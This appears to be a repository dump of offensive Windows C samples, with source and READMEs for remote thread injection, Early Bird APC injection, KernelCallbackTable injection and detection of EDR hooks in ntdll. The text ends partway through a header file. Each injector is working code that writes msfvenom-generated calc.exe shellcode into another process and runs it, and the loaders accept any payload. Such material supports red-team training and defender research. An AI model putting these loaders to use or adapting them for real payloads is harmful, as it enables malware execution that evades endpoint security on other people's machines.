├── .gitignore ├── CreateRemoteThread ├── CreateRemoteThread.c └── README.md ├── DetectHooks ├── DetectHooks.c └── README.md ├── EarlyBirdInject ├── EarlyBirdInject.c └── README.md ├── KCTInject ├── KCTInject.c ├── README.md └── struct.h ├── PPIDSpoof ├── PPIDSpoof.c └── README.md ├── ProcArgSpoof ├── ProcArgSpoof.c └── README.md ├── README.md └── UnhookNTDLL ├── README.md └── UnhookNTDLL.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore Visual Studio files 2 | .vs/ 3 | 4 | # Ignore user-specific files 5 | *.user 6 | *.suo 7 | 8 | # Ignore Mac-specific files 9 | .DS_Store 10 | -------------------------------------------------------------------------------- /CreateRemoteThread/CreateRemoteThread.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | DWORD FindProcessId(const wchar_t *processName) 6 | { 7 | // Find the process ID of the target process 8 | DWORD processId = 0; 9 | PROCESSENTRY32W pe; // Note the 'W' suffix for the wide-character version 10 | pe.dwSize = sizeof(PROCESSENTRY32W); 11 | 12 | // Take a snapshot of all running processes 13 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 14 | 15 | if (Process32FirstW(hSnapshot, &pe)) 16 | { 17 | do 18 | { 19 | // If the process name matches the target, save its ID and exit the loop 20 | if (wcscmp(pe.szExeFile, processName) == 0) 21 | { 22 | processId = pe.th32ProcessID; 23 | break; 24 | } 25 | } while (Process32NextW(hSnapshot, &pe)); 26 | } 27 | 28 | CloseHandle(hSnapshot); 29 | 30 | return processId; 31 | } 32 | 33 | void InjectCode(DWORD processId, unsigned char *payload, SIZE_T payloadSize) 34 | { 35 | // Open the target process with all access rights 36 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); 37 | if (!hProcess) 38 | { 39 | printf("Failed to open the target process.\n"); 40 | return; 41 | } 42 | 43 | // Allocate a memory region in the target process 44 | LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 45 | if (!remoteMem) 46 | { 47 | printf("Failed to allocate memory in the target process.\n"); 48 | CloseHandle(hProcess); 49 | return; 50 | } 51 | 52 | // Write the payload into the allocated memory region 53 | if (!WriteProcessMemory(hProcess, remoteMem, payload, payloadSize, NULL)) 54 | { 55 | printf("Failed to write the code into the target process.\n"); 56 | VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); 57 | CloseHandle(hProcess); 58 | return; 59 | } 60 | 61 | // Change the protection of the memory region to PAGE_EXECUTE_READ 62 | DWORD oldProtect; 63 | if (!VirtualProtectEx(hProcess, remoteMem, payloadSize, PAGE_EXECUTE_READ, &oldProtect)) 64 | { 65 | printf("Failed to change memory protection in the target process.\n"); 66 | VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); 67 | CloseHandle(hProcess); 68 | return; 69 | } 70 | 71 | // Create a thread in the target process that executes the payload 72 | HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL); 73 | if (!hRemoteThread) 74 | { 75 | printf("Failed to create a remote thread in the target process.\n"); 76 | 77 | // Cleanup if thread creation failed 78 | VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); 79 | CloseHandle(hProcess); 80 | return; 81 | } 82 | 83 | // Wait for the remote thread to finish executing 84 | WaitForSingleObject(hRemoteThread, INFINITE); 85 | 86 | // Cleanup after the remote thread has finished executing 87 | CloseHandle(hRemoteThread); 88 | VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE); 89 | CloseHandle(hProcess); 90 | } 91 | 92 | int main() 93 | { 94 | // Declare target process name (wide-string) 95 | const wchar_t *targetProcessName = L"notepad.exe"; 96 | 97 | // Shellcode that pops calc.exe 98 | // msfvenom -p windows/x64/exec CMD=calc.exe -f c 99 | unsigned char payload[] = 100 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 101 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 102 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 103 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 104 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 105 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 106 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 107 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 108 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 109 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 110 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 111 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 112 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 113 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 114 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 115 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 116 | "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" 117 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 118 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 119 | "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; 120 | SIZE_T shellSize = sizeof(payload); 121 | 122 | // Find the process ID of the target process 123 | DWORD processId = FindProcessId(targetProcessName); 124 | 125 | // If we couldn't find the process, exit the program 126 | if (processId == 0) 127 | { 128 | wprintf(L"The target process '%s' is not running.\n", targetProcessName); 129 | return 1; 130 | } 131 | 132 | // Inject shellcode into remote process 133 | InjectCode(processId, payload, shellSize); 134 | return 0; 135 | } -------------------------------------------------------------------------------- /CreateRemoteThread/README.md: -------------------------------------------------------------------------------- 1 | # Remote Process Injection via CreateRemoteThread 2 | 3 | Despite being widely recognized and susceptible to detection, CreateRemoteThread functions as a crucial foundation for process injection and code execution. 4 | 5 | This C program performs code injection into a running process on a Windows machine. It identifies the target process ("notepad.exe") using the `FindProcessId` function, which checks all currently running processes to find the ID of the process with the matching name. 6 | 7 | Upon successful identification of the target process, the `InjectCode` function performs the injection of the payload into the process following these steps: 8 | 1. It opens the target process using its process ID. 9 | 2. It then allocates a region in the target process's memory using `VirtualAllocEx`, which creates a space for the shellcode. 10 | 3. The shellcode is then written into this newly allocated memory space using `WriteProcessMemory`. 11 | 4. The memory region's protection is modified to `PAGE_EXECUTE_READ` using `VirtualProtectEx` to ensure the shellcode can be executed but not modified further. 12 | 5. `CreateRemoteThread` is then used to create a new thread in the target process that begins execution at the start of the injected shellcode. 13 | 14 | The payload itself consists of shellcode designed to launch the Windows calculator (calc.exe). -------------------------------------------------------------------------------- /DetectHooks/DetectHooks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* 6 | * This code is based on the "Detecting Hooked Syscalls" post by ired.team 7 | * Source code available at: https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions 8 | */ 9 | 10 | int main() 11 | { 12 | // Initialize pointer to NULL 13 | PDWORD functionAddress = NULL; 14 | 15 | // Load ntdll library 16 | HMODULE libraryBase = LoadLibraryA("ntdll.dll"); 17 | if (!libraryBase) 18 | { 19 | printf("Failed to load ntdll.dll\n"); 20 | return 1; 21 | } 22 | 23 | // Obtain DOS header of the ntdll library 24 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase; 25 | 26 | // Obtain NT headers from the DOS header 27 | PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew); 28 | 29 | // Obtain the Relative Virtual Address (RVA) of the export directory from the NT headers 30 | DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 31 | 32 | // Obtain the export directory from the RVA 33 | PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA); 34 | 35 | // Obtain the RVAs of the functions, names, and name ordinals from the export directory 36 | PDWORD addressOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions); 37 | PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames); 38 | PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals); 39 | 40 | // Define the syscall prologue 41 | unsigned char syscallPrologue[4] = {0x4c, 0x8b, 0xd1, 0xb8}; 42 | 43 | // Define an array of function names that are known to produce false positives 44 | char *excludedFunctions[] = { 45 | "NtGetTickCount", 46 | "NtQuerySystemTime", 47 | "NtdllDefWindowProc_A", 48 | "NtdllDefWindowProc_W", 49 | "NtdllDialogWndProc_A", 50 | "NtdllDialogWndProc_W", 51 | "ZwQuerySystemTime"}; 52 | int numExcludedFunctions = sizeof(excludedFunctions) / sizeof(excludedFunctions[0]); 53 | 54 | int hookedFunctionFound = 0; 55 | 56 | // Iterate over the exported functions 57 | for (DWORD i = 0; i < imageExportDirectory->NumberOfNames; i++) 58 | { 59 | // Get function name and function address 60 | DWORD functionNameRVA = addressOfNamesRVA[i]; 61 | char *functionName = (char *)((DWORD_PTR)libraryBase + functionNameRVA); 62 | DWORD functionAddressRVA = addressOfFunctionsRVA[addressOfNameOrdinalsRVA[i]]; 63 | functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA); 64 | 65 | // Skip the function if it's in the list of excluded functions 66 | int isExcluded = 0; 67 | for (int j = 0; j < numExcludedFunctions; j++) 68 | { 69 | if (strcmp(functionName, excludedFunctions[j]) == 0) 70 | { 71 | isExcluded = 1; 72 | break; 73 | } 74 | } 75 | if (isExcluded) 76 | continue; 77 | 78 | // Only process the function if it starts with "Nt" or "Zw" 79 | if (strncmp(functionName, "Nt", 2) == 0 || strncmp(functionName, "Zw", 2) == 0) 80 | { 81 | // If the function doesn't start with the syscall prologue, then it may be hooked 82 | if (memcmp(functionAddress, syscallPrologue, 4) != 0) 83 | { 84 | // If the first byte is a jmp instruction (0xE9), then the function is definitely hooked 85 | if (*((unsigned char *)functionAddress) == 0xE9) 86 | { 87 | // Calculate the jump target relative to the next instruction 88 | DWORD jumpTargetRelative = *((PDWORD)((char *)functionAddress + 1)); 89 | // Calculate the absolute jump target address 90 | PDWORD jumpTarget = functionAddress + 5 + jumpTargetRelative; 91 | // Buffer for storing the module name 92 | char moduleNameBuffer[512]; 93 | // Get the module name where the jump leads to 94 | GetMappedFileNameA(GetCurrentProcess(), jumpTarget, moduleNameBuffer, 512); 95 | // Print out the hooked function information 96 | printf("Hooked: %s : %p into module %s\n", functionName, functionAddress, moduleNameBuffer); 97 | // Set the flag indicating a hooked function has been found 98 | hookedFunctionFound = 1; 99 | } 100 | else 101 | { 102 | // If the function doesn't start with a jmp instruction, then it's potentially hooked 103 | printf("Potentially hooked: %s : %p\n", functionName, functionAddress); 104 | // Set the flag indicating a hooked function has been found 105 | hookedFunctionFound = 1; 106 | } 107 | } 108 | } 109 | } 110 | 111 | // If no hooked function was found, print a message indicating that 112 | if (!hookedFunctionFound) 113 | { 114 | printf("No hooked functions found.\n"); 115 | } 116 | 117 | return 0; 118 | } 119 | -------------------------------------------------------------------------------- /DetectHooks/README.md: -------------------------------------------------------------------------------- 1 | # Detecting Hooked Syscalls 2 | 3 | This code is based on the [Detecting Hooked Syscalls](https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions) post by ired.team. 4 | 5 | The system calls (syscalls) or functions that are often the victims of API hooking usually commence with the prefixes `Nt` or `Zw`. In their unhooked state, these functions begin with the opcode sequence `4c 8b d1 b8`. 6 | 7 | By leveraging this knowledge, we can outline a process to determine if a function has been hooked: 8 | * Iterate through all exported functions in the `ntdll.dll` library, a common target for such hooks due to its fundamental role in the Windows operating system. 9 | * For each function, read the first four bytes, which correspond to the beginning of the syscall stub, and verify if these bytes match the sequence `4c 8b d1 b8`. 10 | * If the initial opcode sequence matches `4c 8b d1 b8`, the function appears to be unhooked, i.e., it is in its original state. 11 | * If the initial opcode sequence does not match `4c 8b d1 b8`, the function is likely hooked. 12 | -------------------------------------------------------------------------------- /EarlyBirdInject/EarlyBirdInject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // Function to create a suspended process 5 | BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD *dwProcessId, HANDLE *hProcess, HANDLE *hThread) 6 | { 7 | // Declare and initialize variables for path and process information 8 | CHAR lpPath[MAX_PATH * 2]; 9 | CHAR winDir[MAX_PATH]; 10 | STARTUPINFOA Si = {0}; 11 | PROCESS_INFORMATION Pi = {0}; 12 | 13 | // Set the size of the STARTUPINFO structure 14 | Si.cb = sizeof(STARTUPINFO); 15 | 16 | // Retrieve the %WINDIR% environment variable path 17 | if (!GetEnvironmentVariableA("WINDIR", winDir, MAX_PATH)) 18 | { 19 | printf("[!] GetEnvironmentVariableA failed with error: %d \n", GetLastError()); 20 | return FALSE; 21 | } 22 | 23 | // Construct the target process path 24 | sprintf_s(lpPath, sizeof(lpPath), "%s\\System32\\%s", winDir, lpProcessName); 25 | printf("\n\t[i] Running: \"%s\"...", lpPath); 26 | 27 | // Create the suspended process 28 | if (!CreateProcessA( 29 | NULL, 30 | lpPath, 31 | NULL, 32 | NULL, 33 | FALSE, 34 | CREATE_SUSPENDED, 35 | NULL, 36 | NULL, 37 | &Si, 38 | &Pi)) 39 | { 40 | printf("[!] CreateProcessA failed with error: %d \n", GetLastError()); 41 | return FALSE; 42 | } 43 | 44 | printf("[+] Done.\n"); 45 | 46 | // Assign the process and thread information to the output parameters 47 | *dwProcessId = Pi.dwProcessId; 48 | *hProcess = Pi.hProcess; 49 | *hThread = Pi.hThread; 50 | 51 | // Check if process and thread handles were successfully obtained 52 | if (*dwProcessId != 0 && *hProcess != NULL && *hThread != NULL) 53 | return TRUE; 54 | 55 | return FALSE; 56 | } 57 | 58 | int main(int argc, char *argv[]) 59 | { 60 | // Show usage 61 | if (argc != 2) 62 | { 63 | printf("Usage: %s \n", argv[0]); 64 | return 1; 65 | } 66 | 67 | // Define variables for PID, process handle, and thread handle 68 | DWORD dwProcessId; 69 | HANDLE hProcess; 70 | HANDLE hThread; 71 | 72 | // Call CreateSuspendedProcess function with the provided process name 73 | BOOL result = CreateSuspendedProcess(argv[1], &dwProcessId, &hProcess, &hThread); 74 | 75 | // Shellcode that pops calc.exe 76 | // msfvenom -p windows/x64/exec CMD=calc.exe -f c 77 | unsigned char buf[] = 78 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 79 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 80 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 81 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 82 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 83 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 84 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 85 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 86 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 87 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 88 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 89 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 90 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 91 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 92 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 93 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 94 | "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" 95 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 96 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 97 | "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; 98 | SIZE_T shellSize = sizeof(buf); 99 | 100 | if (result) 101 | { 102 | printf("Process created successfully with PID: %u\n", dwProcessId); 103 | 104 | // Allocate executable memory in the target process for the shellcode 105 | LPVOID shellAddress = VirtualAllocEx(hProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 106 | 107 | // Set a function pointer to the allocated memory 108 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; 109 | 110 | // Write the shellcode to the target process memory 111 | WriteProcessMemory(hProcess, shellAddress, buf, shellSize, NULL); 112 | 113 | // Queue an APC to execute the shellcode in the target thread 114 | QueueUserAPC((PAPCFUNC)apcRoutine, hThread, NULL); 115 | 116 | // Resume the suspended process 117 | ResumeThread(hThread); 118 | 119 | // Close process and thread handles 120 | CloseHandle(hProcess); 121 | CloseHandle(hThread); 122 | } 123 | else 124 | { 125 | printf("Failed to create the process.\n"); 126 | } 127 | 128 | return 0; 129 | } 130 | -------------------------------------------------------------------------------- /EarlyBirdInject/README.md: -------------------------------------------------------------------------------- 1 | # Early Bird APC Injection 2 | 3 | This example draws inspiration from [MaldevAcademy](https://maldevacademy.com/). 4 | 5 | Early Bird APC Injection is a technique that injects a payload into a suspended process by utilizing Asynchronous Procedure Calls (APCs). By creating a suspended process and queuing the payload as an APC to its suspended thread, the payload is executed when the thread is resumed. This method leverages the thread's alertable state to trigger the execution of the injected payload. The following steps outline the procedure for executing this technique: 6 | 1. Invoke CreateProcessA, utilizing the CREATE_SUSPENDED flag to create a suspended process. 7 | 2. Store the payload within the memory of the newly created target process. 8 | 3. Obtain the handle of the suspended thread from the CreateProcess function, along with the base address of the payload, and provide them as arguments to QueueUserAPC. 9 | 4. Use the ResumeThread WinAPI function to resume the thread, thereby initiating the execution of the payload. 10 | 11 | The payload itself consists of shellcode designed to launch the Windows calculator (calc.exe). 12 | -------------------------------------------------------------------------------- /KCTInject/KCTInject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "struct.h" 4 | 5 | /* 6 | * This code is based on the KernelCallbackTable-Injection project by capt-meelo 7 | * Source code available at: https://github.com/capt-meelo/KernelCallbackTable-Injection 8 | */ 9 | 10 | int main() 11 | { 12 | // Shellcode that pops calc.exe 13 | // msfvenom -p windows/x64/exec CMD=calc.exe -f c 14 | unsigned char payload[] = 15 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 16 | "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 17 | "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 18 | "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 19 | "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 20 | "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 21 | "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 22 | "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 23 | "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 24 | "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 25 | "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 26 | "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 27 | "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 28 | "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 29 | "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 30 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" 31 | "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd" 32 | "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" 33 | "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" 34 | "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; 35 | SIZE_T payloadSize = sizeof(payload); 36 | 37 | // Create a hidden sacrificial process (notepad.exe) 38 | PROCESS_INFORMATION pi; 39 | STARTUPINFO si = {sizeof(STARTUPINFO)}; 40 | si.dwFlags = STARTF_USESHOWWINDOW; 41 | si.wShowWindow = SW_HIDE; 42 | CreateProcess(TEXT("C:\\Windows\\System32\\notepad.exe"), NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); 43 | 44 | // Wait for the process to initialize 45 | WaitForInputIdle(pi.hProcess, 1000); 46 | 47 | // Locate the window associated with the Notepad process 48 | HWND hWindow = FindWindow(TEXT("Notepad"), NULL); 49 | printf("[+] Window Handle: 0x%p\n", hWindow); 50 | 51 | // Obtain the Process ID (PID) 52 | DWORD pid; 53 | GetWindowThreadProcessId(hWindow, &pid); 54 | printf("[+] Process ID: %d\n", pid); 55 | 56 | // Open the process with full access 57 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 58 | printf("[+] Process Handle: 0x%p\n", hProcess); 59 | 60 | // Retrieve information about the process using NtQueryInformationProcess 61 | PROCESS_BASIC_INFORMATION pbi; 62 | pNtQueryInformationProcess myNtQueryInformationProcess = (pNtQueryInformationProcess)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtQueryInformationProcess"); 63 | myNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); 64 | 65 | // Read the Process Environment Block (PEB) 66 | PEB peb; 67 | ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); 68 | printf("[+] PEB Address: 0x%p\n", pbi.PebBaseAddress); 69 | 70 | // Read the KernelCallBackTable (KCT) addresses 71 | KERNELCALLBACKTABLE kct; 72 | ReadProcessMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL); 73 | printf("[+] KernelCallbackTable Address: 0x%p\n", peb.KernelCallbackTable); 74 | 75 | // Write the payload to the remote process 76 | LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 77 | WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL); 78 | printf("[+] Payload Address: 0x%p\n", payloadAddr); 79 | 80 | // Write the new callback table to the remote process 81 | LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 82 | kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr; 83 | WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL); 84 | printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA); 85 | 86 | // Update the PEB's KernelCallbackTable address in the remote proces 87 | WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL); 88 | printf("[+] Remote process PEB updated\n"); 89 | 90 | // Trigger the execution of the payload via a WM_COPYDATA message 91 | COPYDATASTRUCT cds; 92 | WCHAR msg[] = TEXT("Triggered"); 93 | cds.dwData = 1; 94 | cds.cbData = lstrlen(msg) * 2; 95 | cds.lpData = msg; 96 | SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds); 97 | } 98 | -------------------------------------------------------------------------------- /KCTInject/README.md: -------------------------------------------------------------------------------- 1 | # KCT Injection 2 | 3 | This code is based on the [KernelCallbackTable-Injection](https://github.com/capt-meelo/KernelCallbackTable-Injection) project by capt-meelo. 4 | 5 | This example injects a payload into a sacrificial process (notepad.exe) by modifying the Kernel Callback Table (KCT) of the process. The following steps outline the procedure for executing this technique: 6 | 1. Create a hidden notepad.exe process. 7 | 2. Retrieve the window handle and process ID of the hidden notepad.exe process. 8 | 3. Open the process with full access privileges. 9 | 4. Read the addresses of the Process Environment Block (PEB) and Kernel Callback Table (KCT) of the hidden process. 10 | 5. Write the payload to the remote process. 11 | 6. Allocate memory for the new KCT. 12 | 7. Update the address of the Kernel Callback Table in the Process Environment Block (PEB). 13 | 8. Trigger the execution of the payload using a WM_COPYDATA message. 14 | 15 | The payload itself consists of shellcode designed to launch the Windows calculator (calc.exe). 16 | -------------------------------------------------------------------------------- /KCTInject/struct.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | typedef struct _UNICODE_STRING { 5 | USHORT Length; 6 | USHORT MaximumLength; 7 | PWSTR Buffer; 8 | } UNICODE_STRING; 9 | 10 | typedef struct _KERNELCALLBACKTABLE_T { 11 | ULONG_PTR __fnCOPYDATA; 12 | ULONG_PTR __fnCOPYGLOBALDATA; 13 | ULONG_PTR __fnDWORD; 14 | ULONG_PTR __fnNCDESTROY; 15 | ULONG_PTR __fnDWORDOPTINLPMSG; 16 | ULONG_PTR __fnINOUTDRAG; 17 | ULONG_PTR __fnGETTEXTLENGTHS; 18 | ULONG_PTR __fnINCNTOUTSTRING; 19 | ULONG_PTR __fnPOUTLPINT; 20 | ULONG_PTR __fnINLPCOMPAREITEMSTRUCT; 21 | ULONG_PTR __fnINLPCREATESTRUCT; 22 | ULONG_PTR __fnINLPDELETEITEMSTRUCT; 23 | ULONG_PTR __fnINLPDRAWITEMSTRUCT; 24 | ULONG_PTR __fnPOPTINLPUINT; 25 | ULONG_PTR __fnPOPTINLPUINT2; 26 | ULONG_PTR __fnINLPMDICREATESTRUCT; 27 | ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT; 28 | ULONG_PTR __fnINLPWINDOWPOS; 29 | ULONG_PTR __fnINOUTLPPOINT5; 30 | ULONG_PTR __fnINOUTLPSCROLLINFO; 31 | ULONG_PTR __fnINOUTLPRECT; 32 | ULONG_PTR __fnINOUTNCCALCSIZE; 33 | ULONG_PTR __fnINOUTLPPOINT5_; 34 | ULONG_PTR __fnINPAINTCLIPBRD; 35 | ULONG_PTR __fnINSIZECLIPBRD; 36 | ULONG_PTR __fnINDESTROYCLIPBRD; 37 | ULONG_PTR __fnINSTRING; 38 | ULONG_PTR __fnINSTRINGNULL; 39 | ULONG_PTR __fnINDEVICECHANGE; 40 | ULONG_PTR __fnPOWERBROADCAST; 41 | ULONG_PTR __fnINLPUAHDRAWMENU; 42 | ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD; 43 | ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_; 44 | ULONG_PTR __fnOUTDWORDINDWORD; 45 | ULONG_PTR __fnOUTLPRECT; 46 | ULONG_PTR __fnOUTSTRING; 47 | ULONG_PTR __fnPOPTINLPUINT3; 48 | ULONG_PTR __fnPOUTLPINT2; 49 | ULONG_PTR __fnSENTDDEMSG; 50 | ULONG_PTR __fnINOUTSTYLECHANGE; 51 | ULONG_PTR __fnHkINDWORD; 52 | ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT; 53 | ULONG_PTR __fnHkINLPCBTCREATESTRUCT; 54 | ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT; 55 | ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX; 56 | ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT; 57 | ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT; 58 | ULONG_PTR __fnHkINLPMSG; 59 | ULONG_PTR __fnHkINLPRECT; 60 | ULONG_PTR __fnHkOPTINLPEVENTMSG; 61 | ULONG_PTR __xxxClientCallDelegateThread; 62 | ULONG_PTR __ClientCallDummyCallback; 63 | ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT; 64 | ULONG_PTR __fnOUTLPCOMBOBOXINFO; 65 | ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2; 66 | ULONG_PTR 